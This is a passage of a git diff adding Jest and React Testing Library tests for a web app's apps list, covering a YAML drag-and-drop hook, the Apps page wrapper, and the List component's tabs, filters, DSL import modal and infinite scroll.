+      const dropEvent = createDragEvent('drop', [file])
+
+      act(() => {
+        container.dispatchEvent(dropEvent)
+      })
+
+      expect(mockOnDSLFileDropped).toHaveBeenCalledWith(file)
+    })
+
+    it('should call onDSLFileDropped for .yml file', () => {
+      const containerRef = { current: container }
+      renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      const file = createMockFile('test.yml')
+      const dropEvent = createDragEvent('drop', [file])
+
+      act(() => {
+        container.dispatchEvent(dropEvent)
+      })
+
+      expect(mockOnDSLFileDropped).toHaveBeenCalledWith(file)
+    })
+
+    it('should call onDSLFileDropped for uppercase .YAML file', () => {
+      const containerRef = { current: container }
+      renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      const file = createMockFile('test.YAML')
+      const dropEvent = createDragEvent('drop', [file])
+
+      act(() => {
+        container.dispatchEvent(dropEvent)
+      })
+
+      expect(mockOnDSLFileDropped).toHaveBeenCalledWith(file)
+    })
+
+    it('should not call onDSLFileDropped for non-yaml file', () => {
+      const containerRef = { current: container }
+      renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      const file = createMockFile('test.json')
+      const dropEvent = createDragEvent('drop', [file])
+
+      act(() => {
+        container.dispatchEvent(dropEvent)
+      })
+
+      expect(mockOnDSLFileDropped).not.toHaveBeenCalled()
+    })
+
+    it('should set dragging to false on drop', () => {
+      const containerRef = { current: container }
+      const { result } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      // First, enter with files
+      const enterEvent = createDragEvent('dragenter', [createMockFile('test.yaml')])
+      act(() => {
+        container.dispatchEvent(enterEvent)
+      })
+      expect(result.current.dragging).toBe(true)
+
+      // Then drop
+      const dropEvent = createDragEvent('drop', [createMockFile('test.yaml')])
+      act(() => {
+        container.dispatchEvent(dropEvent)
+      })
+
+      expect(result.current.dragging).toBe(false)
+    })
+
+    it('should handle drop with no dataTransfer', () => {
+      const containerRef = { current: container }
+      renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      const event = new Event('drop', { bubbles: true, cancelable: true }) as DragEvent
+      Object.defineProperty(event, 'dataTransfer', {
+        value: null,
+        writable: false,
+      })
+      Object.defineProperty(event, 'preventDefault', {
+        value: jest.fn(),
+        writable: false,
+      })
+      Object.defineProperty(event, 'stopPropagation', {
+        value: jest.fn(),
+        writable: false,
+      })
+
+      act(() => {
+        container.dispatchEvent(event)
+      })
+
+      expect(mockOnDSLFileDropped).not.toHaveBeenCalled()
+    })
+
+    it('should handle drop with empty files array', () => {
+      const containerRef = { current: container }
+      renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      const dropEvent = createDragEvent('drop', [])
+
+      act(() => {
+        container.dispatchEvent(dropEvent)
+      })
+
+      expect(mockOnDSLFileDropped).not.toHaveBeenCalled()
+    })
+
+    it('should only process the first file when multiple files are dropped', () => {
+      const containerRef = { current: container }
+      renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      const file1 = createMockFile('test1.yaml')
+      const file2 = createMockFile('test2.yaml')
+      const dropEvent = createDragEvent('drop', [file1, file2])
+
+      act(() => {
+        container.dispatchEvent(dropEvent)
+      })
+
+      expect(mockOnDSLFileDropped).toHaveBeenCalledTimes(1)
+      expect(mockOnDSLFileDropped).toHaveBeenCalledWith(file1)
+    })
+  })
+
+  describe('Enabled prop', () => {
+    it('should not add event listeners when enabled is false', () => {
+      const containerRef = { current: container }
+      const { result } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+          enabled: false,
+        }),
+      )
+
+      const file = createMockFile('test.yaml')
+      const enterEvent = createDragEvent('dragenter', [file])
+
+      act(() => {
+        container.dispatchEvent(enterEvent)
+      })
+
+      expect(result.current.dragging).toBe(false)
+    })
+
+    it('should return dragging as false when enabled is false even if state is true', () => {
+      const containerRef = { current: container }
+      const { result, rerender } = renderHook(
+        ({ enabled }) =>
+          useDSLDragDrop({
+            onDSLFileDropped: mockOnDSLFileDropped,
+            containerRef,
+            enabled,
+          }),
+        { initialProps: { enabled: true } },
+      )
+
+      // Set dragging state
+      const enterEvent = createDragEvent('dragenter', [createMockFile('test.yaml')])
+      act(() => {
+        container.dispatchEvent(enterEvent)
+      })
+      expect(result.current.dragging).toBe(true)
+
+      // Disable the hook
+      rerender({ enabled: false })
+      expect(result.current.dragging).toBe(false)
+    })
+
+    it('should default enabled to true', () => {
+      const containerRef = { current: container }
+      const { result } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      const enterEvent = createDragEvent('dragenter', [createMockFile('test.yaml')])
+
+      act(() => {
+        container.dispatchEvent(enterEvent)
+      })
+
+      expect(result.current.dragging).toBe(true)
+    })
+  })
+
+  describe('Cleanup', () => {
+    it('should remove event listeners on unmount', () => {
+      const containerRef = { current: container }
+      const removeEventListenerSpy = jest.spyOn(container, 'removeEventListener')
+
+      const { unmount } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      unmount()
+
+      expect(removeEventListenerSpy).toHaveBeenCalledWith('dragenter', expect.any(Function))
+      expect(removeEventListenerSpy).toHaveBeenCalledWith('dragover', expect.any(Function))
+      expect(removeEventListenerSpy).toHaveBeenCalledWith('dragleave', expect.any(Function))
+      expect(removeEventListenerSpy).toHaveBeenCalledWith('drop', expect.any(Function))
+
+      removeEventListenerSpy.mockRestore()
+    })
+  })
+
+  describe('Edge cases', () => {
+    it('should handle null containerRef', () => {
+      const containerRef = { current: null }
+      const { result } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      expect(result.current.dragging).toBe(false)
+    })
+
+    it('should handle containerRef changing to null', () => {
+      const containerRef = { current: container as HTMLDivElement | null }
+      const { result, rerender } = renderHook(() =>
+        useDSLDragDrop({
+          onDSLFileDropped: mockOnDSLFileDropped,
+          containerRef,
+        }),
+      )
+
+      containerRef.current = null
+      rerender()
+
+      expect(result.current.dragging).toBe(false)
+    })
+  })
+})
diff --git a/web/app/components/apps/index.spec.tsx b/web/app/components/apps/index.spec.tsx
new file mode 100644
index 0000000000..61783f91d8
--- /dev/null
+++ b/web/app/components/apps/index.spec.tsx
@@ -0,0 +1,106 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+
+// Track mock calls
+let documentTitleCalls: string[] = []
+let educationInitCalls: number = 0
+
+// Mock useDocumentTitle hook
+jest.mock('@/hooks/use-document-title', () => ({
+  __esModule: true,
+  default: (title: string) => {
+    documentTitleCalls.push(title)
+  },
+}))
+
+// Mock useEducationInit hook
+jest.mock('@/app/education-apply/hooks', () => ({
+  useEducationInit: () => {
+    educationInitCalls++
+  },
+}))
+
+// Mock List component
+jest.mock('./list', () => ({
+  __esModule: true,
+  default: () => {
+    const React = require('react')
+    return React.createElement('div', { 'data-testid': 'apps-list' }, 'Apps List')
+  },
+}))
+
+// Import after mocks
+import Apps from './index'
+
+describe('Apps', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    documentTitleCalls = []
+    educationInitCalls = 0
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      render(<Apps />)
+      expect(screen.getByTestId('apps-list')).toBeInTheDocument()
+    })
+
+    it('should render List component', () => {
+      render(<Apps />)
+      expect(screen.getByText('Apps List')).toBeInTheDocument()
+    })
+
+    it('should have correct container structure', () => {
+      const { container } = render(<Apps />)
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('relative', 'flex', 'h-0', 'shrink-0', 'grow', 'flex-col')
+    })
+  })
+
+  describe('Hooks', () => {
+    it('should call useDocumentTitle with correct title', () => {
+      render(<Apps />)
+      expect(documentTitleCalls).toContain('common.menus.apps')
+    })
+
+    it('should call useEducationInit', () => {
+      render(<Apps />)
+      expect(educationInitCalls).toBeGreaterThan(0)
+    })
+  })
+
+  describe('Integration', () => {
+    it('should render full component tree', () => {
+      render(<Apps />)
+
+      // Verify container exists
+      expect(screen.getByTestId('apps-list')).toBeInTheDocument()
+
+      // Verify hooks were called
+      expect(documentTitleCalls.length).toBeGreaterThanOrEqual(1)
+      expect(educationInitCalls).toBeGreaterThanOrEqual(1)
+    })
+
+    it('should handle multiple renders', () => {
+      const { rerender } = render(<Apps />)
+      expect(screen.getByTestId('apps-list')).toBeInTheDocument()
+
+      rerender(<Apps />)
+      expect(screen.getByTestId('apps-list')).toBeInTheDocument()
+    })
+  })
+
+  describe('Styling', () => {
+    it('should have overflow-y-auto class', () => {
+      const { container } = render(<Apps />)
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('overflow-y-auto')
+    })
+
+    it('should have background styling', () => {
+      const { container } = render(<Apps />)
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('bg-background-body')
+    })
+  })
+})
diff --git a/web/app/components/apps/list.spec.tsx b/web/app/components/apps/list.spec.tsx
new file mode 100644
index 0000000000..3bc8a27375
--- /dev/null
+++ b/web/app/components/apps/list.spec.tsx
@@ -0,0 +1,759 @@
+import React from 'react'
+import { act, fireEvent, render, screen } from '@testing-library/react'
+import { AppModeEnum } from '@/types/app'
+
+// Mock next/navigation
+const mockReplace = jest.fn()
+const mockRouter = { replace: mockReplace }
+jest.mock('next/navigation', () => ({
+  useRouter: () => mockRouter,
+}))
+
+// Mock app context
+const mockIsCurrentWorkspaceEditor = jest.fn(() => true)
+const mockIsCurrentWorkspaceDatasetOperator = jest.fn(() => false)
+jest.mock('@/context/app-context', () => ({
+  useAppContext: () => ({
+    isCurrentWorkspaceEditor: mockIsCurrentWorkspaceEditor(),
+    isCurrentWorkspaceDatasetOperator: mockIsCurrentWorkspaceDatasetOperator(),
+  }),
+}))
+
+// Mock global public store
+jest.mock('@/context/global-public-context', () => ({
+  useGlobalPublicStore: () => ({
+    systemFeatures: {
+      branding: { enabled: false },
+    },
+  }),
+}))
+
+// Mock custom hooks - allow dynamic query state
+const mockSetQuery = jest.fn()
+const mockQueryState = {
+  tagIDs: [] as string[],
+  keywords: '',
+  isCreatedByMe: false,
+}
+jest.mock('./hooks/use-apps-query-state', () => ({
+  __esModule: true,
+  default: () => ({
+    query: mockQueryState,
+    setQuery: mockSetQuery,
+  }),
+}))
+
+// Store callback for testing DSL file drop
+let mockOnDSLFileDropped: ((file: File) => void) | null = null
+let mockDragging = false
+jest.mock('./hooks/use-dsl-drag-drop', () => ({
+  useDSLDragDrop: ({ onDSLFileDropped }: { onDSLFileDropped: (file: File) => void }) => {
+    mockOnDSLFileDropped = onDSLFileDropped
+    return { dragging: mockDragging }
+  },
+}))
+
+const mockSetActiveTab = jest.fn()
+jest.mock('@/hooks/use-tab-searchparams', () => ({
+  useTabSearchParams: () => ['all', mockSetActiveTab],
+}))
+
+// Mock service hooks - use object for mutable state (jest.mock is hoisted)
+const mockRefetch = jest.fn()
+const mockFetchNextPage = jest.fn()
+
+const mockServiceState = {
+  error: null as Error | null,
+  hasNextPage: false,
+  isLoading: false,
+  isFetchingNextPage: false,
+}
+
+const defaultAppData = {
+  pages: [{
+    data: [
+      {
+        id: 'app-1',
+        name: 'Test App 1',
+        description: 'Description 1',
+        mode: AppModeEnum.CHAT,
+        icon: '🤖',
+        icon_type: 'emoji',
+        icon_background: '#FFEAD5',
+        tags: [],
+        author_name: 'Author 1',
+        created_at: 1704067200,
+        updated_at: 1704153600,
+      },
+      {
+        id: 'app-2',
+        name: 'Test App 2',
+        description: 'Description 2',
+        mode: AppModeEnum.WORKFLOW,
+        icon: '⚙️',
+        icon_type: 'emoji',
+        icon_background: '#E4FBCC',
+        tags: [],
+        author_name: 'Author 2',
+        created_at: 1704067200,
+        updated_at: 1704153600,
+      },
+    ],
+    total: 2,
+  }],
+}
+
+jest.mock('@/service/use-apps', () => ({
+  useInfiniteAppList: () => ({
+    data: defaultAppData,
+    isLoading: mockServiceState.isLoading,
+    isFetchingNextPage: mockServiceState.isFetchingNextPage,
+    fetchNextPage: mockFetchNextPage,
+    hasNextPage: mockServiceState.hasNextPage,
+    error: mockServiceState.error,
+    refetch: mockRefetch,
+  }),
+}))
+
+// Mock tag store
+jest.mock('@/app/components/base/tag-management/store', () => ({
+  useStore: (selector: (state: { tagList: any[]; setTagList: any; showTagManagementModal: boolean; setShowTagManagementModal: any }) => any) => {
+    const state = {
+      tagList: [{ id: 'tag-1', name: 'Test Tag', type: 'app' }],
+      setTagList: jest.fn(),
+      showTagManagementModal: false,
+      setShowTagManagementModal: jest.fn(),
+    }
+    return selector(state)
+  },
+}))
+
+// Mock tag service to avoid API calls in TagFilter
+jest.mock('@/service/tag', () => ({
+  fetchTagList: jest.fn().mockResolvedValue([{ id: 'tag-1', name: 'Test Tag', type: 'app' }]),
+}))
+
+// Store TagFilter onChange callback for testing
+let mockTagFilterOnChange: ((value: string[]) => void) | null = null
+jest.mock('@/app/components/base/tag-management/filter', () => ({
+  __esModule: true,
+  default: ({ onChange }: { onChange: (value: string[]) => void }) => {
+    const React = require('react')
+    mockTagFilterOnChange = onChange
+    return React.createElement('div', { 'data-testid': 'tag-filter' }, 'common.tag.placeholder')
+  },
+}))
+
+// Mock config
+jest.mock('@/config', () => ({
+  NEED_REFRESH_APP_LIST_KEY: 'needRefreshAppList',
+}))
+
+// Mock pay hook
+jest.mock('@/hooks/use-pay', () => ({
+  CheckModal: () => null,
+}))
+
+// Mock ahooks - useMount only executes once on mount, not on fn change
+jest.mock('ahooks', () => ({
+  useDebounceFn: (fn: () => void) => ({ run: fn }),
+  useMount: (fn: () => void) => {
+    const React = require('react')
+    const fnRef = React.useRef(fn)
+    fnRef.current = fn
+    React.useEffect(() => {
+      fnRef.current()
+    }, [])
+  },
+}))
+
+// Mock dynamic imports
+jest.mock('next/dynamic', () => {
+  const React = require('react')
+  return (importFn: () => Promise<any>) => {
+    const fnString = importFn.toString()
+
+    if (fnString.includes('tag-management')) {
+      return function MockTagManagement() {
+        return React.createElement('div', { 'data-testid': 'tag-management-modal' })
+      }
+    }
+    if (fnString.includes('create-from-dsl-modal')) {
+      return function MockCreateFromDSLModal({ show, onClose, onSuccess }: any) {
+        if (!show) return null
+        return React.createElement('div', { 'data-testid': 'create-dsl-modal' },
+          React.createElement('button', { 'onClick': onClose, 'data-testid': 'close-dsl-modal' }, 'Close'),
+          React.createElement('button', { 'onClick': onSuccess, 'data-testid': 'success-dsl-modal' }, 'Success'),
+        )
+      }
+    }
+    return () => null
+  }
+})
+
+/**
+ * Mock child components for focused List component testing.
+ * These mocks isolate the List component's behavior from its children.
+ * Each child component (AppCard, NewAppCard, Empty, Footer) has its own dedicated tests.
+ */
+jest.mock('./app-card', () => ({
+  __esModule: true,
+  default: ({ app }: any) => {
+    const React = require('react')
+    return React.createElement('div', { 'data-testid': `app-card-${app.id}`, 'role': 'article' }, app.name)
+  },
+}))
+
+jest.mock('./new-app-card', () => {
+  const React = require('react')
+  return React.forwardRef((_props: any, _ref: any) => {
+    return React.createElement('div', { 'data-testid': 'new-app-card', 'role': 'button' }, 'New App Card')
+  })
+})
+
+jest.mock('./empty', () => ({
+  __esModule: true,
+  default: () => {
+    const React = require('react')
+    return React.createElement('div', { 'data-testid': 'empty-state', 'role': 'status' }, 'No apps found')
+  },
+}))
+
+jest.mock('./footer', () => ({
+  __esModule: true,
+  default: () => {
+    const React = require('react')
+    return React.createElement('footer', { 'data-testid': 'footer', 'role': 'contentinfo' }, 'Footer')
+  },
+}))
+
+// Import after mocks
+import List from './list'
+
+// Store IntersectionObserver callback
+let intersectionCallback: IntersectionObserverCallback | null = null
+const mockObserve = jest.fn()
+const mockDisconnect = jest.fn()
+
+// Mock IntersectionObserver
+beforeAll(() => {
+  globalThis.IntersectionObserver = class MockIntersectionObserver {
+    constructor(callback: IntersectionObserverCallback) {
+      intersectionCallback = callback
+    }
+
+    observe = mockObserve
+    disconnect = mockDisconnect
+    unobserve = jest.fn()
+    root = null
+    rootMargin = ''
+    thresholds = []
+    takeRecords = () => []
+  } as unknown as typeof IntersectionObserver
+})
+
+describe('List', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockIsCurrentWorkspaceEditor.mockReturnValue(true)
+    mockIsCurrentWorkspaceDatasetOperator.mockReturnValue(false)
+    mockDragging = false
+    mockOnDSLFileDropped = null
+    mockTagFilterOnChange = null
+    mockServiceState.error = null
+    mockServiceState.hasNextPage = false
+    mockServiceState.isLoading = false
+    mockServiceState.isFetchingNextPage = false
+    mockQueryState.tagIDs = []
+    mockQueryState.keywords = ''
+    mockQueryState.isCreatedByMe = false
+    intersectionCallback = null
+    localStorage.clear()
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      render(<List />)
+      // Tab slider renders app type tabs
+      expect(screen.getByText('app.types.all')).toBeInTheDocument()
+    })
+
+    it('should render tab slider with all app types', () => {
+      render(<List />)
+
+      expect(screen.getByText('app.types.all')).toBeInTheDocument()
+      expect(screen.getByText('app.types.workflow')).toBeInTheDocument()
+      expect(screen.getByText('app.types.advanced')).toBeInTheDocument()
+      expect(screen.getByText('app.types.chatbot')).toBeInTheDocument()
+      expect(screen.getByText('app.types.agent')).toBeInTheDocument()
+      expect(screen.getByText('app.types.completion')).toBeInTheDocument()
+    })
+
+    it('should render search input', () => {
+      render(<List />)
+      // Input component renders a searchbox
+      expect(screen.getByRole('textbox')).toBeInTheDocument()
+    })
+
+    it('should render tag filter', () => {
+      render(<List />)
+      // Tag filter renders with placeholder text
+      expect(screen.getByText('common.tag.placeholder')).toBeInTheDocument()
+    })
+
+    it('should render created by me checkbox', () => {
+      render(<List />)
+      expect(screen.getByText('app.showMyCreatedAppsOnly')).toBeInTheDocument()
+    })
+
+    it('should render app cards when apps exist', () => {
+      render(<List />)
+
+      expect(screen.getByTestId('app-card-app-1')).toBeInTheDocument()
+      expect(screen.getByTestId('app-card-app-2')).toBeInTheDocument()
+    })
+
+    it('should render new app card for editors', () => {
+      render(<List />)
+      expect(screen.getByTestId('new-app-card')).toBeInTheDocument()
+    })
+
+    it('should render footer when branding is disabled', () => {
+      render(<List />)
+      expect(screen.getByTestId('footer')).toBeInTheDocument()
+    })
+
+    it('should render drop DSL hint for editors', () => {
+      render(<List />)
+      expect(screen.getByText('app.newApp.dropDSLToCreateApp')).toBeInTheDocument()
+    })
+  })
+
+  describe('Tab Navigation', () => {
+    it('should call setActiveTab when tab is clicked', () => {
+      render(<List />)
+
+      fireEvent.click(screen.getByText('app.types.workflow'))
+
+      expect(mockSetActiveTab).toHaveBeenCalledWith(AppModeEnum.WORKFLOW)
+    })
+
+    it('should call setActiveTab for all tab', () => {
+      render(<List />)
+
+      fireEvent.click(screen.getByText('app.types.all'))
+
+      expect(mockSetActiveTab).toHaveBeenCalledWith('all')
+    })
+  })
+
+  describe('Search Functionality', () => {
+    it('should render search input field', () => {
+      render(<List />)
+      expect(screen.getByRole('textbox')).toBeInTheDocument()
+    })
+
+    it('should handle search input change', () => {
+      render(<List />)
+
+      const input = screen.getByRole('textbox')
+      fireEvent.change(input, { target: { value: 'test search' } })
+
+      expect(mockSetQuery).toHaveBeenCalled()
+    })
+
+    it('should handle search input interaction', () => {
+      render(<List />)
+
+      const input = screen.getByRole('textbox')
+      expect(input).toBeInTheDocument()
+    })
+
+    it('should handle search clear button click', () => {
+      // Set initial keywords to make clear button visible
+      mockQueryState.keywords = 'existing search'
+
+      render(<List />)
+
+      // Find and click clear button (Input component uses .group class for clear icon container)
+      const clearButton = document.querySelector('.group')
+      expect(clearButton).toBeInTheDocument()
+      if (clearButton)
+        fireEvent.click(clearButton)
+
+      // handleKeywordsChange should be called with empty string
+      expect(mockSetQuery).toHaveBeenCalled()
+    })
+  })
+
+  describe('Tag Filter', () => {
+    it('should render tag filter component', () => {
+      render(<List />)
+      expect(screen.getByText('common.tag.placeholder')).toBeInTheDocument()
+    })
+
+    it('should render tag filter with placeholder', () => {
+      render(<List />)
+
+      // Tag filter is rendered
+      expect(screen.getByText('common.tag.placeholder')).toBeInTheDocument()
+    })
+  })
+
+  describe('Created By Me Filter', () => {
+    it('should render checkbox with correct label', () => {
+      render(<List />)
+      expect(screen.getByText('app.showMyCreatedAppsOnly')).toBeInTheDocument()
+    })
+
+    it('should handle checkbox change', () => {
+      render(<List />)
+
+      // Checkbox component uses data-testid="checkbox-{id}"
+      // CheckboxWithLabel doesn't pass testId, so id is undefined
+      const checkbox = screen.getByTestId('checkbox-undefined')
+      fireEvent.click(checkbox)
+
+      expect(mockSetQuery).toHaveBeenCalled()
+    })
+  })
+
+  describe('Non-Editor User', () => {
+    it('should not render new app card for non-editors', () => {
+      mockIsCurrentWorkspaceEditor.mockReturnValue(false)
+
+      render(<List />)
+
+      expect(screen.queryByTestId('new-app-card')).not.toBeInTheDocument()
+    })
+
+    it('should not render drop DSL hint for non-editors', () => {
+      mockIsCurrentWorkspaceEditor.mockReturnValue(false)
+
+      render(<List />)
+
+      expect(screen.queryByText(/drop dsl file to create app/i)).not.toBeInTheDocument()
+    })
+  })
+
+  describe('Dataset Operator Redirect', () => {
+    it('should redirect dataset operators to datasets page', () => {
+      mockIsCurrentWorkspaceDatasetOperator.mockReturnValue(true)
+
+      render(<List />)
+
+      expect(mockReplace).toHaveBeenCalledWith('/datasets')
+    })
+  })
+
+  describe('Local Storage Refresh', () => {
+    it('should call refetch when refresh key is set in localStorage', () => {
+      localStorage.setItem('needRefreshAppList', '1')
+
+      render(<List />)
+
+      expect(mockRefetch).toHaveBeenCalled()
+      expect(localStorage.getItem('needRefreshAppList')).toBeNull()
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle multiple renders without issues', () => {
+      const { rerender } = render(<List />)
+      expect(screen.getByText('app.types.all')).toBeInTheDocument()
+
+      rerender(<List />)
+      expect(screen.getByText('app.types.all')).toBeInTheDocument()
+    })
+
+    it('should render app cards correctly', () => {
+      render(<List />)
+
+      expect(screen.getByText('Test App 1')).toBeInTheDocument()
+      expect(screen.getByText('Test App 2')).toBeInTheDocument()
+    })
+
+    it('should render with all filter options visible', () => {
+      render(<List />)
+
+      expect(screen.getByRole('textbox')).toBeInTheDocument()
+      expect(screen.getByText('common.tag.placeholder')).toBeInTheDocument()
+      expect(screen.getByText('app.showMyCreatedAppsOnly')).toBeInTheDocument()
+    })
+  })
+
+  describe('Dragging State', () => {
+    it('should show drop hint when DSL feature is enabled for editors', () => {
+      render(<List />)
+      expect(screen.getByText('app.newApp.dropDSLToCreateApp')).toBeInTheDocument()
+    })
+  })
+
+  describe('App Type Tabs', () => {
+    it('should render all app type tabs', () => {
+      render(<List />)
+
+      expect(screen.getByText('app.types.all')).toBeInTheDocument()
+      expect(screen.getByText('app.types.workflow')).toBeInTheDocument()
+      expect(screen.getByText('app.types.advanced')).toBeInTheDocument()
+      expect(screen.getByText('app.types.chatbot')).toBeInTheDocument()
+      expect(screen.getByText('app.types.agent')).toBeInTheDocument()
+      expect(screen.getByText('app.types.completion')).toBeInTheDocument()
+    })
+
+    it('should call setActiveTab for each app type', () => {
+      render(<List />)
+
+      const appTypeTexts = [
+        { mode: AppModeEnum.WORKFLOW, text: 'app.types.workflow' },
+        { mode: AppModeEnum.ADVANCED_CHAT, text: 'app.types.advanced' },
+        { mode: AppModeEnum.CHAT, text: 'app.types.chatbot' },
+        { mode: AppModeEnum.AGENT_CHAT, text: 'app.types.agent' },
+        { mode: AppModeEnum.COMPLETION, text: 'app.types.completion' },
+      ]
+
+      appTypeTexts.forEach(({ mode, text }) => {
+        fireEvent.click(screen.getByText(text))
+        expect(mockSetActiveTab).toHaveBeenCalledWith(mode)
+      })
+    })
+  })
+
+  describe('Search and Filter Integration', () => {
+    it('should display search input with correct attributes', () => {
+      render(<List />)
+
+      const input = screen.getByRole('textbox')
+      expect(input).toBeInTheDocument()
+      expect(input).toHaveAttribute('value', '')
+    })
+
+    it('should have tag filter component', () => {
+      render(<List />)
+
+      expect(screen.getByText('common.tag.placeholder')).toBeInTheDocument()
+    })
+
+    it('should display created by me label', () => {
+      render(<List />)
+
+      expect(screen.getByText('app.showMyCreatedAppsOnly')).toBeInTheDocument()
+    })
+  })
+
+  describe('App List Display', () => {
+    it('should display all app cards from data', () => {
+      render(<List />)
+
+      expect(screen.getByTestId('app-card-app-1')).toBeInTheDocument()
+      expect(screen.getByTestId('app-card-app-2')).toBeInTheDocument()
+    })
+
+    it('should display app names correctly', () => {
+      render(<List />)
+
+      expect(screen.getByText('Test App 1')).toBeInTheDocument()
+      expect(screen.getByText('Test App 2')).toBeInTheDocument()
+    })
+  })
+
+  describe('Footer Visibility', () => {
+    it('should render footer when branding is disabled', () => {
+      render(<List />)
+
+      expect(screen.getByTestId('footer')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Additional Coverage Tests
+  // --------------------------------------------------------------------------
+  describe('Additional Coverage', () => {
+    it('should render dragging state overlay when dragging', () => {
+      mockDragging = true
+      const { container } = render(<List />)
+
+      // Component should render successfully with dragging state
+      expect(container).toBeInTheDocument()
+    })
+
+    it('should handle app mode filter in query params', () => {
+      render(<List />)
+
+      const workflowTab = screen.getByText('app.types.workflow')
+      fireEvent.click(workflowTab)
+
+      expect(mockSetActiveTab).toHaveBeenCalledWith(AppModeEnum.WORKFLOW)
+    })
+
+    it('should render new app card for editors', () => {
+      render(<List />)
+
+      expect(screen.getByTestId('new-app-card')).toBeInTheDocument()
+    })
+  })
+
+  describe('DSL File Drop', () => {
+    it('should handle DSL file drop and show modal', () => {
+      render(<List />)
+
+      // Simulate DSL file drop via the callback
+      const mockFile = new File(['test content'], 'test.yml', { type: 'application/yaml' })
+      act(() => {
+        if (mockOnDSLFileDropped)
+          mockOnDSLFileDropped(mockFile)
+      })
+
+      // Modal should be shown
+      expect(screen.getByTestId('create-dsl-modal')).toBeInTheDocument()
+    })
+
+    it('should close DSL modal when onClose is called', () => {
+      render(<List />)
+
+      // Open modal via DSL file drop
+      const mockFile = new File(['test content'], 'test.yml', { type: 'application/yaml' })
+      act(() => {
+        if (mockOnDSLFileDropped)
+          mockOnDSLFileDropped(mockFile)
+      })
+
+      expect(screen.getByTestId('create-dsl-modal')).toBeInTheDocument()
+
+      // Close modal
+      fireEvent.click(screen.getByTestId('close-dsl-modal'))
+
+      expect(screen.queryByTestId('create-dsl-modal')).not.toBeInTheDocument()
+    })
+
+    it('should close DSL modal and refetch when onSuccess is called', () => {
+      render(<List />)
+
+      // Open modal via DSL file drop
+      const mockFile = new File(['test content'], 'test.yml', { type: 'application/yaml' })
+      act(() => {
+        if (mockOnDSLFileDropped)
+          mockOnDSLFileDropped(mockFile)
+      })
+
+      expect(screen.getByTestId('create-dsl-modal')).toBeInTheDocument()
+
+      // Click success button
+      fireEvent.click(screen.getByTestId('success-dsl-modal'))
+
+      // Modal should be closed and refetch should be called
+      expect(screen.queryByTestId('create-dsl-modal')).not.toBeInTheDocument()
+      expect(mockRefetch).toHaveBeenCalled()
+    })
+  })
+
+  describe('Tag Filter Change', () => {
+    it('should handle tag filter value change', () => {
+      jest.useFakeTimers()
+      render(<List />)
+
+      // TagFilter component is rendered
+      expect(screen.getByTestId('tag-filter')).toBeInTheDocument()
+
+      // Trigger tag filter change via captured callback
+      act(() => {
+        if (mockTagFilterOnChange)
+          mockTagFilterOnChange(['tag-1', 'tag-2'])
+      })
+
+      // Advance timers to trigger debounced setTagIDs
+      act(() => {
+        jest.advanceTimersByTime(500)
+      })
+
+      // setQuery should have been called with updated tagIDs
+      expect(mockSetQuery).toHaveBeenCalled()
+
+      jest.useRealTimers()
+    })
+
+    it('should handle empty tag filter selection', () => {
+      jest.useFakeTimers()
+      render(<List />)
+
+      // Trigger tag filter change with empty array
+      act(() => {
+        if (mockTagFilterOnChange)
+          mockTagFilterOnChange([])
+      })
+
+      // Advance timers
+      act(() => {
+        jest.advanceTimersByTime(500)
+      })
+
+      expect(mockSetQuery).toHaveBeenCalled()
+
+      jest.useRealTimers()
+    })
+  })
+
+  describe('Infinite Scroll', () => {
+    it('should call fetchNextPage when intersection observer triggers', () => {
+      mockServiceState.hasNextPage = true
+      render(<List />)
+
+      // Simulate intersection
+      if (intersectionCallback) {
+        act(() => {
+          intersectionCallback!(
+            [{ isIntersecting: true } as IntersectionObserverEntry],
+            {} as IntersectionObserver,
+          )
+        })
+      }
+
+      expect(mockFetchNextPage).toHaveBeenCalled()
+    })
+
+    it('should not call fetchNextPage when not intersecting', () => {
+      mockServiceState.hasNextPage = true
+      render(<List />)
+
+      // Simulate non-intersection
+      if (intersectionCallback) {
+        act(() => {
+          intersectionCallback!(
+            [{ isIntersecting: false } as IntersectionObserverEntry],
+            {} as IntersectionObserver,
+          )
+        })
+      }
+
+      expect(mockFetchNextPage).not.toHaveBeenCalled()
+    })
+
+    it('should not call fetchNextPage when loading', () => {
+      mockServiceState.hasNextPage = true
+      mockServiceState.isLoading = true
+      render(<List />)
+
+      if (intersectionCallback) {
+        act(() => {
+          intersectionCallback!(
+            [{ isIntersecting: true } as IntersectionObserverEntry],
+            {} as IntersectionObserver,
+          )
+        })
+      }
+
+      expect(mockFetchNextPage).not.toHaveBeenCalled()
+    })
+  })
